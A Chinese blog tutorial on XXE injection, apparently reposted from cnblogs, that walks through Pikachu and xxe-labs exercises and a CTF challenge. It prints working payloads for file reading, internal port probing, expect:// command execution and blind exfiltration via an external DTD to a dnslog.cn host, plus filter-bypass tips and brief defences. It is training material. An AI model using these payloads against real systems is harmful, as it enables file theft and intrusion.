首页 > 其他分享 >XXE漏洞详解

XXE漏洞详解

时间:2023-06-23 23:56:29浏览次数:50  
标签:xml XXE 代码 漏洞 详解 xxe 读取

XML外部实体注入——XXE漏洞详解

简单来说一下这个XXE漏洞,在这之前我也阅读了很多关于XXE漏洞的文章,发现有一小部分文章题目是 “XXE外部实体注入” 这样的字眼,我想这样的文章很大可能都没有弄明白XXE和XML的关系吧,也或者是不小心打错了。看到这里你如果没有反应过来 “XXE外部实体注入”,这样说有什么不妥,建议好好阅读一下这篇文章。

1、什么是XXE漏洞

首先要了解什么是XXE漏洞,首先应该了解一下什么是XML
XML(可扩展标记语言,英文全称:eXtensible Markup Language)是一种用于描述数据结构和交换数据的标记语言。XML是一种非常灵活的语言,可以用于描述各种类型的数据,如文档、图像、音频、视频等。
这个解释太官方,我们可以将xml语言和html对比着再来解释一下

1>xml语言是指可扩展标记语言,是一种标记语言,类似于html,html是超文本标记语言
2>xml的设计宗旨是传输数据,html的设计宗旨是显示数据
3>xml标签没有被预定义的,需要自行定义标签,比如shuxue98,html语言的标签都是被定义好的,比如: 这个标签就是加粗
4>xml被设计为具有自我描述性
5>xml是w3c的推荐标准
特点:

1>xml仅仅是纯文本,他不会做任何事情
2>xml可以自己发明标签(允许定义自己的标签和文档结构)
3>专门用来存放传输数据的东西

xml语言的格式
 <?xml version="1.0" encoding="UTF-8"?>   //xml的声明  
 <!DOCTYPE foo [ 
 <!ELEMENT foo ANY >
 <!ENTITY xxe SYSTEM "file://d:/1.txt" >
 ]>                                      //DTD部分
<x>&xxe;</x>                          //xml部分

首先第一句是声明,声明这是一段xml代码,接下来是一个DTD的部分,意思是读取d盘上的1.txt文件。比如我们经常要用到某一组数据,那么每次都引用,肯定是非常不方便的,所以把这组经常用的数据设置成为一个变量,需要的时候直接调用这个变量,通过以上的解释,我们不难看出,xml如果产生漏洞,那肯定就是在这个DTD部分,最后则是xml部分。

接下来我们来介绍什么是xxe漏洞?

XXE漏洞全称XML External(外部的) Entity(实体) Injection(注入),即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。
简而言之就是 外部实体,也就是我们DTD部分中的变量在加载(引用)外部的内容,从而发起了网络请求(本地请求)
漏洞原理:把用户输入的数据当成xml外部实体代码进行执行,利用xml的外部实体去访问内网,访问本机,访问本机的文件。

pikachu靶场案例演示


如图所示,我们先来读取一下D盘上的1.txt文件

读取代码如下
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///d://1.txt">
]>
<x>&xxe;</x>

复制代码,输入

我们可以看到他将D盘的1.txt文件读取出来了,那么是否可以进行跨盘读取呢?我们在c盘新建一个文件夹xml,里面放入我们的1.txt文件,读取一下

代码如下
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///c://xml/1.txt">
]>
<x>&xxe;</x>


我们可以看出,照样是可以读取出来的,如果是读取其c盘的敏感文件呢,如本地hosts文件等等。
由此我们可以想到,如果将file换成http协议,那么是否可以实现他的一个内网探针,访问其内网数据呢

访问代码如下:
<?xml version="1.0" encoding="UTF-8"?>        
<!DOCTYPE foo [ 
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "http://127.0.0.1:80/index.php" >
]>
<x>&xxe;</x>


如图所示,是可以访问到index.php中的内容的,有人可能在想,那如果index.php文件中的代码是phpinfo(),他是否会执行解析呢?

答案是不会解析,那么我如果去探测他的端口开放情况呢?比如,我看一下8081端口是否开放

访问代码如下:
<?xml version="1.0" encoding="UTF-8"?>        
<!DOCTYPE foo [ 
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "http://127.0.0.1:8081/index.php" >
]>
<x>&xxe;</x>


如图所示,代表了8081端口没有开放,这样也是可以探测端口开放情况。
我们也可以结合rce进行实体注入,但是这样有限制条件,该情况是在安装expect扩展的PHP环境里执行系统命令

代码如下:
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "expect://id" >
]>
<x>&xxe;</x>

如果网站过滤了file协议或者你想实现自定义的攻击,那么就需要引入外部实体进行攻击了

代码如下:
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "http://127.0.0.1:80/evil2.dtd">
%file;
]>
<x>&send;</x>

这段代码是在被攻击者的搜索框上面输入,而调用的地址则是攻击者的服务器上的evil2.dtd文件,攻击者的evil2.dtd文件则写上如下代码

代码:
<!ENTITY send SYSTEM "file://d:/1.txt">

当访问攻击者的dtd文件时,攻击者的文件指向了D盘的1.txt文件,使其读取

当然这种方法是有限制条件,也就是没有禁用外部实体,是不是有点像文件包含的远程包含。

当我们进行实战的时候,一般都是不会有回显,因为他调用就直接调用使用了,没有必要进行回显,当遇上没有回显的情况,我们应该怎么办?还是用pikachu靶场进行演示,把回显代码进行删除

这样的话,我们可以用刚才读文件的代码进行读取,看一下

无论输入什么,都是这个样子,也不知道是否执行,遇到这种情况,我们也是可以进行读取的

代码如下
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=d:/1.txt">
<!ENTITY % dtd SYSTEM "http://127.0.0.1:80/evil2.dtd">
%dtd;
%send;
]>
evil2.dtd中的内容如下:
<!ENTITY % payload 
"<!ENTITY &#x25; send SYSTEM 'http://127.0.0.1:80/?data=%file;'>"
> 
%payload;

解释一下以上代码,因为是没有了回显,那么先将读到的内容赋值给file,然后去请求我们(攻击者)服务器上的evil2.dtd文件,正好evil2.dtd中的内容是读取file,这样的话是不是也能实现读取1.txt文件中的内容,只不过是饶了一个弯。

然后对红框中的内容进行base64解码

如此也是可以实现对无回显内容显示。如果你学的扎实的话会想到sql注入时无回显报错时我们讲的dns注入,可以借助dns的网站来判断是否存在xxe漏洞

代码如下
<!ENTITY % payload 
"<!ENTITY &#x25; send SYSTEM 'http://04t1rn.dnslog.cn/?data=%file;'>"
> 
%payload;

如图所示,有回显

当然,这个方法只是可以起到一个判断是否存在xxe漏洞的作用。

2、绕过

1>ENTITY、SYSTEM、file等关键词被过滤,可以采用编码的方式进行绕过,16进制等等
2>若http被过滤,可以采用data://协议、file://协议、php://filter协议等等绕过

3、检测

我们应该如何去判断网站是否存在xxe漏洞,用xxe-labs中的php作为案例来讲解一下,我们打开xxe-labs

随便输入账号密码进行抓包

其实这样的话是可以看出其符合xml语言的格式,然后将下面的代码替换为读取文件的代码

代码如下:
<?xml version="1.0"?>
<!DOCTYPE Mikasa [
<!ENTITY admin SYSTEM  "file:///d:/1.txt">
]>
<user><username>&admin;</username><password>123</password></user>


如上图所示,一下子就检测出了是xxe漏洞,如果抓取的数据包没有这么明显的代码,我们应该如何检测呢?我们可以利用burpsuit的自带爬虫,对他进行检测。1、抓包 2、点击target 3、找到对应数据包,右击 4、选择scan

然后选择爬虫,点击OK

因为我们的数据包不太多,如果数据包很多,我们是可以进行筛选的

筛选完了以后,我们看一下MIMEtype,找到xml,可以看一下数据包:Content-Type: application/xml;charset=utf-8,可以尝试修改,同上

这样是可以达到一个检测的功能。不一定xml格式就一定有xxe漏洞,但是可以测试。
接下来看一下另一种检测方式,我们用CTF的一道试题进行分析,网址:http://web.jarvisoj.com:9882

我们提交一下,进行抓包

我们可以看到Content—Type的类型是application/json,那我们将他的类型修改为application/xml,末尾的类型也修改为xml的类型,因为他是linux(信息收集),所以我们可以读取他的etc/passwd

这样的话,也是一种检测xxe漏洞的方法。

4、防御

1>禁用外部实体引用
2>过滤xml中的一些关键词,如:DOCTYPE、ENTITY等等
3>安装一些waf工具
关于xxe漏洞就介绍这么多,欢迎大家关注公众号:星光安全

标签:xml,XXE,代码,漏洞,详解,xxe,读取
From: https://www.cnblogs.com/chu-jian/p/17489142.html

相关文章

  • 详解Java反射机制
    前言反射(Reflection)是Java程序开发语言的特征之一,它允许运行中的Java程序对自身进行检查,并能直接操作程序的内部属性和方法。主要有两种方式:一种是“传统的”RTTI,它假定我们在编译时已经知道了所有的类型;另一种是“反射”机制,它允许我们在运行时发现和使用类的信息。本篇就......
  • phar反序列化漏洞简单介绍
    phar反序列化漏洞介绍什么是phar:phar类似于java中的jar打包phar的结构:stubphar文件标识,格式为xxx<?phpxxx;__HALT_COMPILER();?>;(头部信息)manifest压缩文件的属性等信息,以序列化存储;contents压缩文件的内容;signature签名,放在文件末尾;phar协议解析文件时,会自动触发对......
  • DVWA靶场之SQL注入通关详解
    原理SQL注入通过将恶意的SQL代码插入到应用程序后台的SQL语句中,以获取未授权的访问权限或者窃取应用程序中的敏感信息。通常,SQL注入攻击的目标是Web应用程序,因为Web应用程序通常需要与数据库进行交互,并且大多数Web应用程序使用的是SQL语言。存在原因Web应用程序没有对用户输入......
  • 指针详解
    一、指针运算给一个指针变量+1,通常情况下不是给指针本身+1,而是”迈一步“,步长根据指针的类型来确定。intmain(){ chara=1; intb=1; intarr[10]={0}; char*pa=&a; int*pb=&b; int(*parr)[10]=&arr; printf("%p\n",pa); printf("%p\n",pa+1);//......
  • DVWA靶场之文件上传通关详解
    原理文件上传漏洞是应用程序在处理用户上传的文件时没有对文件进行合理的检查和过滤,而恶意文件由攻击者伪造成合法文件,从而骗过应用程序进行上传和执行恶意代码。存在原因开发人员没有对用户上传的文件进行充分的验证和过滤。攻击者可以通过构造恶意文件,利用上传漏洞将其上传到......
  • JVM内存模型及CMS、G1和ZGC垃圾回收器详解
    1.JVM内存模型JVM内存模型主要指运行时的数据区,包括5个部分,如下图所示。栈也叫方法栈,是线程私有的,线程在执行每个方法时都会同时创建一个栈帧,用来存储局部变量表、操作栈、动态链接、方法出口等信息。调用方法时执行入栈,方法返回时执行出栈。本地方法栈与栈类似,也是用来......
  • ArrayList和LinkedList的区别详解
    感谢巨人的肩膀,原作者:https://blog.csdn.net/qing_gee/article/details/108841587/ArrayList和LinkedList有什么区别,是面试官非常喜欢问的一个问题。可能大部分小伙伴和我一样,能回答出“ArrayList是基于数组实现的,LinkedList是基于双向链表实现的。”关于这一点,我之前的......
  • Java四大引用详解:强引用、软引用、弱引用、虚引用
    原文链接:https://blog.csdn.net/ChenRui_yz/article/details/126315260Java引用从JDK1.2版本开始,对象的引用被划分为4种级别,从而使程序能更加灵活地控制对象的生命周期,这4种级别由高到低依次为:强引用、软引用、弱引用和虚引用。强引用强引用是最普遍的引用,一般把一个对象赋......
  • DVWA靶场之CSRF通关详解
    原理CSRF漏洞是指利用受害者尚未失效的身份认证信息(cookie、会话等信息),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下,以受害者的身份向服务器发送请求,从而完成非法操作(如转账、改密、信息修改等操作)。形成原因CSRF的形成原因主要是由于Web应用程序没有......
  • DVWA靶场之XSS通关详解
    原理XSS漏洞是攻击者将恶意代码注入到合法网页中,当用户浏览该页面时,恶意代码会被执行,从而获取用户敏感信息或进行其他攻击。形成原因网站对用户输入数据的过滤不严格或不完备,攻击者可以根据这个漏洞向网站提交恶意代码,然后再将这些代码传播给其他用户,从而造成危害。防御措施......